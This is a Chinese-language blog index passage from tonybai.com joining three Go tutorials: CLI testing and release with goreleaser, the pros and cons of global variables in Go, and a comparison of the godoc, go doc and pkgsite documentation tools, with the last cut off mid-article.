编写优秀CLI程序的最后一个环节是测试和发布你的程序。测试确保你的程序可以按预期工作，并符合质量标准。发布可以使你的程序可供用户使用和访问。\n在本节中，我将说明如何使用testing、testify/assert、mock包对你的代码进行单元测试，如何使用go test、coverage、benchmark工具来运行测试和测量程序性能以及如何使用goreleaser包来构建跨平台的二进制文件。\n1. 使用testing、testify的assert及mock包对你的代码进行单元测试 单元测试是一种验证单个代码单元（如函数、方法或类型）的正确性和功能的技术。单元测试可以帮助你尽早发现错误，提高代码质量和可维护性，并促进重构和调试。\n要为你的Go CLI程序编写单元测试，你应该遵循一些最佳实践：\n使用内置的测试包来创建测试函数，以Test开头，后面是被测试的函数或方法的名称。例如：func TestSum(t *testing.T) { … }；\n使用*testing.T类型的t参数，使用t.Error、t.Errorf、t.Fatal或t.Fatalf这样的方法报告测试失败。你也可以使用t.Log、t.Logf、t.Skip或t.Skipf这样的方法来提供额外的信息或有条件地跳过测试。\n使用Go子测试(sub test)，通过t.Run方法将相关的测试分组。例如：\nfunc TestSum(t *testing.T) { t.Run(\u0026ldquo;positive numbers\u0026rdquo;, func(t *testing.T) { // test sum with positive numbers }) t.Run(\u0026ldquo;negative numbers\u0026rdquo;, func(t *testing.T) { // test sum with negative numbers }) }\n使用表格驱动(table-driven)的测试来运行多个测试用例，比如下面的例子：\nfunc TestSum(t *testing.T) { tests := []struct{ name string a int b int want int }{ {\u0026ldquo;positive numbers\u0026rdquo;, 1, 2, 3}, {\u0026ldquo;negative numbers\u0026rdquo;, -1, -2, -3}, {\u0026ldquo;zero\u0026rdquo;, 0, 0 ,0}, }\nfor _, tt := range tests { t.Run(tt.name, func(t *testing.T) { got := Sum(tt.a , tt.b) if got != tt.want { t.Errorf(\u0026quot;Sum(%d , %d) = %d; want %d\u0026quot;, tt.a , tt.b , got , tt.want) } }) } }\n使用外部包，如testify/assert或mock来简化你的断言或对外部的依赖性。比如说：\nimport ( \u0026ldquo;github.com/stretchr/testify/assert\u0026rdquo; \u0026ldquo;github.com/stretchr/testify/mock\u0026rdquo; )\ntype Calculator interface { Sum(a int , b int) int }\ntype MockCalculator struct { mock.Mock }\nfunc (m *MockCalculator) Sum(a int , b int) int { args := m.Called(a , b) return args.Int(0) }\n2. 使用Go的测试、覆盖率、性能基准工具来运行测试和测量性能 Go提供了一套工具来运行测试和测量你的代码的性能。你可以使用这些工具来确保你的代码按预期工作，检测错误或bug，并优化你的代码以提高速度和效率。\n要使用go test、coverage、benchmark工具来运行测试和测量你的Go CLI程序的性能，你应该遵循一些步骤，比如说。\n将以_test.go结尾的测试文件写在与被测试代码相同的包中。例如：sum_test.go用于测试sum.go。\n使用go测试命令来运行一个包中的所有测试或某个特定的测试文件。你也可以使用一些标志，如-v，用于显示verbose的输出，-run用于按名字过滤测试用例，-cover用于显示代码覆盖率，等等。例如：go test -v -cover ./…\n使用go工具cover命令来生成代码覆盖率的HTML报告，并高亮显示代码行。你也可以使用-func这样的标志来显示函数的代码覆盖率，用-html还可以在浏览器中打开覆盖率结果报告等等。例如：go tool cover -html=coverage.out\n编写性能基准函数，以Benchmark开头，后面是被测试的函数或方法的名称。使用类型为*testing.B的参数b来控制迭代次数，并使用b.N、b.ReportAllocs等方法控制报告结果的输出。比如说\nfunc BenchmarkSum(b *testing.B) { for i := 0; i \u0026lt; b.N; i++ { Sum(1 , 2) } }\n使用go test -bench命令来运行一个包中的所有性能基准测试或某个特定的基准文件。你也可以使用-benchmem这样的标志来显示内存分配的统计数据，-cpuprofile或-memprofile来生成CPU或内存profile文件等等。例如：go test -bench . -benchmem ./…\n使用pprof或benchstat等工具来分析和比较CPU或内存profile文件或基准测试结果。比如说。\nGenerate CPU profile go test -cpuprofile cpu.out ./\u0026hellip;\nAnalyze CPU profile using pprof go tool pprof cpu.out\nGenerate two sets of benchmark results go test -bench . ./\u0026hellip; \u0026gt; old.txt go test -bench . ./\u0026hellip; \u0026gt; new.txt\nCompare benchmark results using benchstat benchstat old.txt new.txt\n3. 使用goreleaser包构建跨平台的二进制文件 构建跨平台二进制文件意味着将你的代码编译成可执行文件，可以在不同的操作系统和架构上运行，如Windows、Linux、Mac OS、ARM等。这可以帮助你向更多的人分发你的程序，使用户更容易安装和运行你的程序而不需要任何依赖或配置。\n为了给你的Go CLI程序建立跨平台的二进制文件，你可以使用外部软件包，比如goreleaser等 ，它们可以自动完成程序的构建、打包和发布过程。下面是使用goreleaser包构建程序的一些步骤。\n使用go get或go install命令安装goreleaser。例如： go install github.com/goreleaser/goreleaser@latest\n创建一个配置文件（通常是.goreleaser.yml），指定如何构建和打包你的程序。你可以定制各种选项，如二进制名称、版本、主文件、输出格式、目标平台、压缩、校验和、签名等。例如。\n.goreleaser.yml project_name: mycli builds:\nmain: ./cmd/mycli/main.go binary: mycli goos: windows darwin linux goarch: amd64 arm64 archives: format: zip name_template: \u0026ldquo;{{ .ProjectName }}{{ .Version }}{{ .Os }}_{{ .Arch }}\u0026rdquo; files: LICENSE.txt README.md checksum: name_template: \u0026ldquo;{{ .ProjectName }}_checksums.txt\u0026rdquo; algorithm: sha256 运行goreleaser命令，根据配置文件构建和打包你的程序。你也可以使用-snapshot用于测试，-release-notes用于从提交信息中生成发布说明，-rm-dist用于删除之前的构建，等等。例如：goreleaser –snapshot –rm-dist。\n检查输出文件夹（通常是dist）中生成的二进制文件和其他文件。你也可以使用goreleaser的发布功能将它们上传到源代码库或软件包管理器中。\n七. clig.dev指南要点 通过上述的系统说明，你现在应该可以设计并使用Go实现出一个CLI程序了。不过本文并非覆盖了clig.dev指南的所有要点，因此，在结束本文之前，我们再来回顾一下clig.dev指南中的要点，大家再体会一下。\n前面说过，clig.dev上的cli指南是一个开源指南，可以帮助你写出更好的命令行程序，它采用了传统的UNIX原则，并针对现代的情况进行了更新。\n遵循cli准则的一些好处是：\n你可以创建易于使用、理解和记忆的CLI程序。 你可以设计出能与其他程序进行很好配合的CLI程序，并遵循共同的惯例。 你可以避免让用户和开发者感到沮丧的常见陷阱和错误。 你可以从其他CLI设计者和用户的经验和智慧中学习。 下面是该指南的一些要点：\n理念 这一部分解释了好的CLI设计背后的核心原则，如人本设计、可组合性、可发现性、对话性等。例如，以人为本的设计意味着CLI程序对人类来说应该易于使用和理解，而不仅仅是机器。可组合性意味着CLI程序应该通过遵循共同的惯例和标准与其他程序很好地协作。\n参数和标志 这一部分讲述了如何在你的CLI程序中使用位置参数(positional arguments )和标志。它还解释了如何处理默认值、必传参数、布尔标志、多值等。例如，你应该对命令的主要对象或动作使用位置参数，对修改或可选参数使用标志。你还应该使用长短两种形式的标志（如-v或-verbose），并遵循常见的命名模式（如–help或–version）。\n配置 这部分介绍了如何使用配置文件和环境变量来为你的CLI程序存储持久的设置。它还解释了如何处理配置选项的优先级、验证、文档等。例如，你应该使用配置文件来处理用户很少改变的设置，或者是针对某个项目或环境的设置。对于特定于环境或会话的设置（如凭证或路径），你也应该使用环境变量。\n输出 这部分介绍了如何格式化和展示你的CLI程序的输出。它还解释了如何处理输出verbose级别、进度指示器、颜色、表格等。例如，你应该使用标准输出（stdout）进行正常的输出，这样输出的信息可以通过管道输送到其他程序或文件。你还应该使用标准错误（stderr）来处理不属于正常输出流的错误或警告。\n错误 这部分介绍了如何在你的CLI程序中优雅地处理错误。它还解释了如何使用退出状态码、错误信息、堆栈跟踪等。例如，你应该使用表明错误类型的退出代码（如0代表成功，1代表一般错误）。你还应该使用简洁明了的错误信息，解释出错的原因以及如何解决。\n子命令 这部分介绍了当CLI程序有多种操作或操作模式时，如何在CLI程序中使用子命令。它还解释了如何分层构建子命令，组织帮助文本，以及处理常见的子命令（如help或version）。例如，当你的程序有不同的功能，需要不同的参数或标志时（如git clone或git commit），你应该使用子命令。你还应该提供一个默认的子命令，或者在没有给出子命令时提供一个可用的子命令列表。\n业界有许多精心设计的CLI工具的例子，它们都遵循cli准则，大家可以通过使用来深刻体会一下这些准则。下面是一些这样的CLI工具的例子：\nhttpie：一个命令行HTTP客户端，具有直观的UI，支持JSON，语法高亮，类似wget的下载，插件等功能。例如，Httpie使用清晰简洁的语法进行HTTP请求，支持多种输出格式和颜色，优雅地处理错误并提供有用的文档。\ngit：一个分布式的版本控制系统，让你管理你的源代码并与其他开发者合作。例如，Git使用子命令进行不同的操作（如git clone或git commit），遵循通用的标志（如-v或-verbose），提供有用的反馈和建议（如git status或git help），并支持配置文件和环境变量。\nnpm：一个JavaScript的包管理器，让你为你的项目安装和管理依赖性。例如，NPM使用一个简单的命令结构（npm [args]），提供一个简洁的初始帮助信息，有更详细的选项（npm help npm），支持标签完成和合理的默认值，并允许你通过配置文件（.npmrc）自定义设置。\n八. 小结 在这篇文章中，我们系统说明了如何编写出遵循命令行接口指南的Go CLI程序。\n你学习了如何设置Go环境、设计命令行接口、处理错误和信号、编写文档、使用各种工具和软件包测试和发布程序。你还看到了一些代码和配置文件的例子。通过遵循这些准则和最佳实践，你可以创建一个用户友好、健壮和可靠的CLI程序。\n最后我们回顾了clig.dev的指南要点，希望你能更深刻理解这些要点的含义。\n我希望你喜欢这篇文章并认为它很有用。如果你有任何问题或反馈，请随时联系我。编码愉快！\n注：本文系与New Bing Chat联合完成，旨在验证如何基于AIGC能力构思和编写长篇文章。文章内容的正确性经过笔者全面审校，可放心阅读。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/03/25/the-guide-of-developing-cli-program-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-guide-of-developing-cli-program-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注：上面篇首配图的底图由百度\u003ca href=\"https://yige.baidu.com/\"\u003e文心一格\u003c/a\u003e生成。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/03/25/the-guide-of-developing-cli-program-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/03/25/the-guide-of-developing-cli-program-in-go\"\u003ehttps://tonybai.com/2023/03/25/the-guide-of-developing-cli-program-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e近期在Twitter上看到一个名为\u003ca href=\"https://clig.dev/\"\u003e“Command Line Interface Guidelines”的站点\u003c/a\u003e，这个站点汇聚了帮助大家编写出更好命令行程序的哲学与指南。这份指南\u003ca href=\"https://book.douban.com/subject/1467587/\"\u003e基于传统的Unix编程原则\u003c/a\u003e，又结合现代的情况进行了“与时俱进”的更新。之前我还真未就如何编写命令行交互程序做系统的梳理，在这篇文章中，我们就来结合\u003ca href=\"https://clig.dev/\"\u003eclig这份指南\u003c/a\u003e，(可能不会全面覆盖)整理出一份使用Go语言编写CLI程序的指南，供大家参考。\u003c/p\u003e","title":"Go开发命令行程序指南"},{"content":"\n本文永久链接 – https://tonybai.com/2023/03/22/global-variable-in-go\n注：上面篇首配图的底图由百度文心一格生成。\nC语言是Go语言的先祖之一，Go继承了很多C语言的语法与表达方式，这其中就包含了全局变量，虽然Go在其语法规范中并没有直接给出全局变量的定义。但是已经入门Go的童鞋都知道，在Go中包的导出变量(exported variable)起到的就是全局变量的作用。Go包导出变量与C的全局变量在优缺点与使用方式也有相似之处。\n我是C程序员出身，对全局变量并不陌生，因此学习Go语言全局变量时，也没有太多Gap。不过来自其他语言(比如Java)的童鞋在学习Go全局变量时可能会觉得别扭，在全局变量的使用方式的理解方面也久久不能到位。\n在这一篇中，我们就来聊聊Go语言的全局变量，和大家一起系统地理解一下。\n一. Go中的全局变量 全局变量是一个可以在整个程序中被访问和修改的变量，不管它在哪里被定义。不同的编程语言有着不同的声明和使用全局变量的方式。\n在Python中，你可以在module的任何地方声明一个全局变量。就像下面示例中的globvar。但是如果你想给它重新赋值，则需要在函数中使用global关键字。\nglobvar = 0 def set_globvar_to_one(): global globvar # 要给全局变量globvar赋值 globvar = 1 def print_globvar(): print(globvar) # 读取全局变量globvar时无需global关键字 set_globvar_to_one() print_globvar() # 打印1 Java中没有全局变量的概念，但你却可以使用一个类的public静态变量来模拟全局变量的作用，因为这样的public类静态变量可以被任何其他类在任何地方访问到。比如下面Java代码中globalVar：\npublic class GlobalExample { // 全局变量 public static int globalVar = 10; // 全局常量 public static final String GLOBAL_CONST = \u0026quot;Hello\u0026quot;; } 在Go中，全局变量指的是在包的最顶层声明的头母大写的导出变量，这样这个变量在整个Go程序的任何角落都可以被访问和修改，比如下面示例代码中foo包的变量Global：\npackage foo var Global = \u0026quot;myvalue\u0026quot; // Go全局变量 package bar import \u0026quot;foo\u0026quot; func F1() { println(foo.Global) foo.Global = \u0026quot;another value\u0026quot; } foo.Global可以被任何导入foo包的其他包所读取和修改，就像上面代码F1中对它的那些操作。\n即便是全局变量，按Go语法规范，上述Global变量的作用域也是package block的，而非universe block的，关于Go标识符的作用域，Go语言第一课专栏第11讲有系统详细地说明。\nGo导出变量在Go中既然充当着全局变量的角色，它也就有了和其他语言全局变量一样的优劣势。接下来我们就来看看全局变量的优点与不足。\n二. 全局变量的优缺点 俗话说：既然存在就有存在的“道理”！我们不去探讨“存在即合理”在哲学层面是否正确，我们先来看看全局变量的存在究竟能带来哪些好处。\n1. 全局变量的优点 首先，全局变量易于访问。 全局变量的定义决定了它可以在程序的任何地方被访问。无论是在函数、方法、循环体内、深度缩进的条件语句块内部，全局变量都可以被直接访问到。这为减少函数参数个数带来一定“便利”，同时也省去了确定参数类型、实施参数传递的“烦恼”。\n破壁人：全局变量容易被意外修改或被局部变量遮蔽，从而导致意想不到的问题。\n其次，全局变量易于共享数据。 由于易于访问的特性，全局变量常用于在程序的不同部分之间共享数据，比如配置项数据、命令行标志(cmd flag)等。又由于全局变量的生命周期与程序的整个生命周期等同，不会因为函数调用结束而销毁，也不会被GC掉，可以始终存在并保持其值。因此全局变量被用作共享数据时，开发人员也不会有担心全局变量所在内存“已被回收”的心智负担。\n破壁人: 并发的多线程或多协程(包括goroutine)访问同一个全局变量时需要考虑“数据竞争”问题。\n最后，全局变量让代码显得更为简洁。 Go全局变量只需要在包的顶层声明一次即可，之后便可以在程序的任何地方对其进行访问和修改。对于声明全局变量的包的维护者而言，这样的代码再简洁不过了！\n破壁人: 多处访问和修改全局变量的代码都与全局变量产生了直接的数据耦合，降低了可维护性和扩展性。\n在上面的说明中，我针对全局变量的每条优点都写了一条“破壁人”观点，把这些破壁观点聚拢起来，就构成了全局变量的缺点集合，我们继续来看一下。\n2. 全局变量的缺点 首先，全局变量容易被意外修改或被局部变量遮蔽。 前面提到，全局变量易于访问，这意味着所有地方都可能会直接访问或修改全局变量。任何一个位置改变了全局变量，都可能会以意想不到的方式影响着另外一个使用它的函数。这将导致针对这些函数的测试更为困难，全局变量的存在让各个测试之间隔离性不好，测试用例执行过程中如果修改了全局变量，测试执行结束前可能都需要将全局变量恢复到之前的状态，以尽可能保证对其他测试用例的干扰最小，下面是一个示例：\nvar globalVar int func F1() { globalVar = 5 } func F2() { globalVar = 6 } func TestF1(t *testing) { old := globalVar F1() // assert the result ... ... globalVar = old // 恢复globalVar } func TestF2(t *testing) { old := globalVar F2() // assert the result ... ... globalVar = old // 恢复globalVar } 此外，全局变量十分容易被函数、方法、循环体的同名局部变量所遮蔽(shadow)，导致一些奇怪难debug的问题，尤其是与Go的短变量声明语法结合使用时。\ngo vet支持对代码的静态分析，不过变量遮蔽检查的功能需要额外安装：\n$go install golang.org/x/tools/go/analysis/passes/shadow/cmd/shadow@latest $go vet -vettool=$(which shadow) 其次，并发条件下，对全局变量的访问存在“数据竞争”问题 如果你的程序存在多个goroutine对全局变量的并发读写，那么“数据竞争”问题便不可避免。你需要使用额外的同步手段对全局变量进行保护，比如互斥锁、读写锁、原子操作等。\n同理，没有同步手段保护的全局变量也限制了单元测试的并行执行能力(-paralell)。\n最后，全局变量在带来代码简洁性的同时，更多带来的是对扩展和复用不利的耦合性！ 全局变量让程序中所有访问和修改它的代码对其产生了数据耦合，全局变量的细微变化都将对这些代码产生影响。这样，如果要复用或扩展这些依赖全局变量的代码将变得十分困难。比如：若要对它们进行并行化执行，需要考虑其耦合的全局变量是否支持同步手段。若要复用其中的代码逻辑到其他程序中，可能还需要在新程序中创建一个新的全局变量。\n我们看到，Go全局变量有优点，更有一堆不足，那么我们在实际生产编码过程中到底该如何对待全局变量呢？我们继续往下看。\n三. Go全局变量的使用惯例与替代方案 到底Go语言是如何对待全局变量的？我翻了翻标准库来看看Go官方团队是如何对待全局变量的，我得到的结论是尽量少用。\nGo标准库中的全局变量用了“不少”，但绝大多数都是全局的“哨兵”错误变量，比如：\n// $GOROOT/src/io/io.go var ErrShortWrite = errors.New(\u0026quot;short write\u0026quot;) // ErrShortBuffer means that a read required a longer buffer than was provided. var ErrShortBuffer = errors.New(\u0026quot;short buffer\u0026quot;) // EOF is the error returned by Read when no more input is available. // (Read must return EOF itself, not an error wrapping EOF, // because callers will test for EOF using ==.) // Functions should return EOF only to signal a graceful end of input. // If the EOF occurs unexpectedly in a structured data stream, // the appropriate error is either ErrUnexpectedEOF or some other error // giving more detail. var EOF = errors.New(\u0026quot;EOF\u0026quot;) // ErrUnexpectedEOF means that EOF was encountered in the // middle of reading a fixed-size block or data structure. var ErrUnexpectedEOF = errors.New(\u0026quot;unexpected EOF\u0026quot;) ... ... 关于错误处理中的“哨兵”错误处理模式，可以参考我的Go语言第一课专栏。更多Go错误处理模式在专栏中有系统讲解。\n这些ErrXXX全局变量虽说是被定义为了“变量(Var)”，但Go开源许久以来，大家已经达成默契：这些ErrXXX变量仅是“只读”的，没人会对其进行任何修改操作。到这里有初学者可能会问：那为什么不将它们定义为常量呢？那是因为Go语言对常量的类型是有要求的：\nGo常量有布尔常量、rune常量、整数常量、浮点常量、复数常量和字符串常量。 其他类型均不能被定义为常量。而errors.New返回的动态类型为errors.errorString结构体类型的指针，显然也不在常量类型范围之内。\n除了ErrXXX这类全局变量外，Go标准库中其他全局变量就很少了。一个典型的全局变量是http.DefaultServeMux：\n// $GOROOT/src/net/http/server.go // DefaultServeMux is the default ServeMux used by Serve. var DefaultServeMux = \u0026amp;defaultServeMux var defaultServeMux ServeMux // NewServeMux allocates and returns a new ServeMux. func NewServeMux() *ServeMux { return new(ServeMux) } http包是Go早期就携带的高频使用的包，我猜早期实现时出于某种原因定义了全局变量DefaultServeMux，后期可能由于兼容性原因保留了该全局变量，但从代码逻辑来看，去掉也不会有任何影响。\n通过http包的DefaultServeMux、defaultServeMux和NewServeMux等逻辑，我们也可以看出Go语言采用的替代全局变量的方案，那就是**“封装”**。以http.ServeMux为例(我们假设删除掉DefaultServeMux这个全局变量，用包级非导出变量defaultServeMux替代它)。\nhttp包定义了ServeMux类型以及相应方法用于处理HTTP请求的多路复用，但http包并未直接定义一个ServerMux的全局变量(我们假设删除了DefaultServeMux变量)，而是定义了一个包级非导出变量defaultServeMux作为默认的Mux。\nhttp包仅导出两个函数Handle和HandleFunc供调用者注册http请求路径与对应的handler(下面代码中的DefaultServeMux可换成defaultServeMux)：\n// $GOROOT/src/net/http/server.go // Handle registers the handler for the given pattern // in the DefaultServeMux. // The documentation for ServeMux explains how patterns are matched. func Handle(pattern string, handler Handler) { DefaultServeMux.Handle(pattern, handler) } // HandleFunc registers the handler function for the given pattern // in the DefaultServeMux. // The documentation for ServeMux explains how patterns are matched. func HandleFunc(pattern string, handler func(ResponseWriter, *Request)) { DefaultServeMux.HandleFunc(pattern, handler) } 这样http完全不需要暴露Mux实现的细节，调用者也无需依赖一个全局变量，这个方案将原先的对全局变量的数据耦合转换为对http包的行为耦合。\n类似的作法我们在标准库log包中也能看到，log包定义了包级变量std用作默认的Logger，但对外仅暴露Printf等系列打印函数，这些函数的实现会使用包级变量std的相应方法：\n// $GOROOT/src/log/log.go // Print calls Output to print to the standard logger. // Arguments are handled in the manner of fmt.Print. func Print(v ...any) { if std.isDiscard.Load() { return } std.Output(2, fmt.Sprint(v...)) } // Printf calls Output to print to the standard logger. // Arguments are handled in the manner of fmt.Printf. func Printf(format string, v ...any) { if std.isDiscard.Load() { return } std.Output(2, fmt.Sprintf(format, v...)) } // Println calls Output to print to the standard logger. // Arguments are handled in the manner of fmt.Println. func Println(v ...any) { if std.isDiscard.Load() { return } std.Output(2, fmt.Sprintln(v...)) } ... ... 注：其他语言可能有一些其他的替代全局变量的方案，比如Java的依赖注入。\n四. 小结 综上，全局变量虽然有易于访问、易于共享、代码简洁等优点，但相较于其带来的意外修改、并发数据竞争、更高的耦合性等弊端而言，Go开发者选择了“尽量少用全局变量”的最佳实践。\n此外，在Go中最常见的替代全局变量的方案就是封装，这个大家可以通过阅读标准库的典型源码慢慢体会。\n注：本文部分内容来自于New Bing的Chat功能(据说是基于GPT-4大语言模型)生成的答案。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/03/22/global-variable-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/global-variable-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/03/22/global-variable-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/03/22/global-variable-in-go\"\u003ehttps://tonybai.com/2023/03/22/global-variable-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注：上面篇首配图的底图由百度\u003ca href=\"https://yige.baidu.com/\"\u003e文心一格\u003c/a\u003e生成。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eC语言是Go语言的先祖之一，Go继承了很多C语言的语法与表达方式，这其中就包含了\u003cstrong\u003e全局变量\u003c/strong\u003e，虽然Go在其\u003ca href=\"https://go.dev/ref/spec\"\u003e语法规范\u003c/a\u003e中并没有直接给出全局变量的定义。但是已经\u003ca href=\"https://tonybai.com/2023/02/23/learn-go-in-10-min\"\u003e入门Go的童鞋\u003c/a\u003e都知道，在Go中\u003cstrong\u003e包的导出变量(exported variable)起到的就是全局变量的作用\u003c/strong\u003e。Go包导出变量与C的全局变量在优缺点与使用方式也有相似之处。\u003c/p\u003e","title":"聊聊Go语言的全局变量"},{"content":"\n本文永久链接 – https://tonybai.com/2023/03/20/godoc-vs-go-doc-vs-pkgsite\n就像上一篇文章聊到的Go内置单元测试框架一样，既重视语言特性，又不忘对Go软件项目提供整体环境特性的Go在诞生伊始就定义了如何在源码中通过注释编写代码文档的格式，并提供了基于代码注释实时生成Go文档并支持文档查看的工具。\n而一些早期的语言，比如C、C++等则需要使用第三方工具(如doxygen)以及这些工具规定的特定格式编写文档，缺少语言原生的文档标准与工具，给后期开发人员之间的协作带去了麻烦。\n查看文档是开发人员日常必不可少的开发活动之一。Go语言从诞生那天起就十分重视项目文档的建设，为此Go为gopher们提供了多种丰富的文档查看工具，除了在Go官方网站可以在线查看到最新稳定发布版的文档之外，Go还为开发人员提供了本地离线查看文档的工具，比如：godoc、go doc以及pkgsite。在这篇短文中，我们就来分别看看这三个Go文档查看工具。\n一. godoc 很多接触Go语言较早的gopher都知道，Go安装包中曾原生自带了一个和go、gofmt一起发布的文档查看工具：godoc。它也是Go的第一个文档查看工具！\ngodoc实质上是一个web服务，它会在本地离线建立起一个web形式的Go文档中心，对本地安装的go包提供文档查看服务。\n当我们执行下面命令时这个文档中心服务就启动了：\n$godoc -http=localhost:8080 在浏览器地址栏输入http://localhost:8080打开Go文档中心首页，godoc默认会展示\\$GOROOT下的目录结构：\n我们看到首页顶部的菜单与Go旧版官方主页的菜单基本如出一辙。\n再点击Packages我们会看到godoc会展示本地包的参考文档页面：\nGo包参考文档页面将包分为几类：标准库包（Standard library）、第三方包（Third party）和其它包（Other packages），其中的第三方包就是本地\\$GOPATH下面的各个包。\n在“Packages”页面中的Standard Library下面找到标准库io包，点击打开Go io包的参考文档页面如下图所示：\n这样我们就可以离线以web页面的形式查看go module相关文档了! Go 1.13版本之前，这就像是在本地建立一个Go官方站点的mirror site。\n并且，godoc支持-play命令行选项，可以启动playground功能，go文档中的example也可以像online playground那样运行：\n不过这个功能不是离线的，不能使用本机的Go编译器和环境运行，需要连接网络进行。\nGodoc还支持查看历史版本的Go文档，这个之前写过，大家可以移步阅读。\n接下来聊聊godoc这个工具的现状！很遗憾，从Go 1.13版本开始，godoc就失去了官方工具的地位，不再和go、gofmt一起内置在Go安装包中发布了！如果你想使用godoc，需要使用下面命令自行安装：\n$go install golang.org/x/tools/cmd/godoc@latest 随着2019年Go新官方站点的发布，godoc风格的web文档查看方式渐渐被人遗忘了！godoc.org也关闭了。\n2021年末，godoc工具也被标记为deprecated了(虽然这两年还有几个commit)，标志着godoc正式退出历史舞台！\n注：怀旧的gopher建立了godoc.org的替代站点：https://godocs.io，由Go社区维护。\n那么，没有了godoc，我们如何离线查询go文档呢？我们接下来来聊聊本地查看go文档的命令行工具go doc。\n二. go doc go doc是Go语言自带的命令行工具，可以用来查看本地安装的Go包的文档。与godoc不同的是，go doc不需要启动HTTP服务器，直接在终端中使用即可：\n自go doc在Go 1.5版本加入Go工具链之后，它就和go get、go build一样成为了Gopher们每日必用的go子命令。\n在查看包文档时，go doc在命令行上接受的参数使用了Go语法的格式，这使得go doc的上手使用几乎是“零门槛”：\ngo doc \u0026lt;pkg\u0026gt; go doc \u0026lt;sym\u0026gt;[.\u0026lt;methodOrField\u0026gt;] go doc [\u0026lt;pkg\u0026gt;.]\u0026lt;sym\u0026gt;[.\u0026lt;methodOrField\u0026gt;] go doc [\u0026lt;pkg\u0026gt;.][\u0026lt;sym\u0026gt;.]\u0026lt;methodOrField\u0026gt; 下面我们就来简要介绍一下如何使用go doc查看各类包文档。\n查看标准库文档 我们可以在任意路径下执行go doc命令查看标准库文档，下面是一些查看标准库不同元素文档的命令示例。\n查看标准库net/http包文档：\n$go doc net/http 或 $go doc http 查看http包的Get函数的文档：\n$ go doc net/http.Get 或 $ go doc http.Get 查看http包中结构体类型Requset中字段Form的文档：\n$go doc net/http.Request.Form 或 $go doc http.Request.Form 查看当前项目文档 除了查看标准库文档，我们在从事项目开发时很可能会查看当前项目中其他包的文档以决定如何使用这些包。go doc也可以很方便地查看当前路径下项目的文档，我们还以已经下载到本地（比如：~/temp/gocmpp）的github.com/bigwhite/gocmpp项目为例。\n查看当前路径下的包的文档：\n$go doc package cmpp // import \u0026quot;github.com/bigwhite/gocmpp\u0026quot; const CmppActiveTestReqPktLen uint32 = 12 ... const CmppConnReqPktLen uint32 = 4 + 4 + 4 + 6 + 16 + 1 + 4 ... const Cmpp2DeliverReqPktMaxLen uint32 = 12 + 233 ... ... ... 查看当前路径下包的导出元素的文档：\n$go doc CmppActiveTestReqPktLen package cmpp // import \u0026quot;.\u0026quot; const ( CmppActiveTestReqPktLen uint32 = 12 //12d, 0xc CmppActiveTestRspPktLen uint32 = 12 + 1 //13d, 0xd ) Packet length const for cmpp active test request and response packets. 我们看到包导出元素(比如CmppActiveTestReqPktLen)的头字母是大写的，go doc不会将其解析为包名，而会认为它是当前包中的某个元素。\n通过-u选项，我们也可以查看当前路径下包的非导出元素的文档：\n$go doc -u newPacketWriter package cmpp // import \u0026quot;github.com/bigwhite/gocmpp\u0026quot; func newPacketWriter(initSize uint32) *packetWriter 查看当前路径的子路径下的包的文档：\n$go doc ./utils 或 $go doc utils package cmpputils // import \u0026quot;github.com/bigwhite/gocmpp/utils\u0026quot; var ErrInvalidUtf8Rune = errors.New(\u0026quot;Not Invalid Utf8 runes\u0026quot;) func GB18030ToUtf8(in string) (string, error) ... ... 查看项目依赖的第三方module的文档 如今，go module已经是Go依赖管理的标准模式了。一个项目依赖的go module会被cache到go mod专有路径中，包含不同版本和其代码。因此，目前go doc在查看项目依赖的第三方module的文档时，会自动到go mod cache中找到该module，并显示其文档，例如：\n$go doc 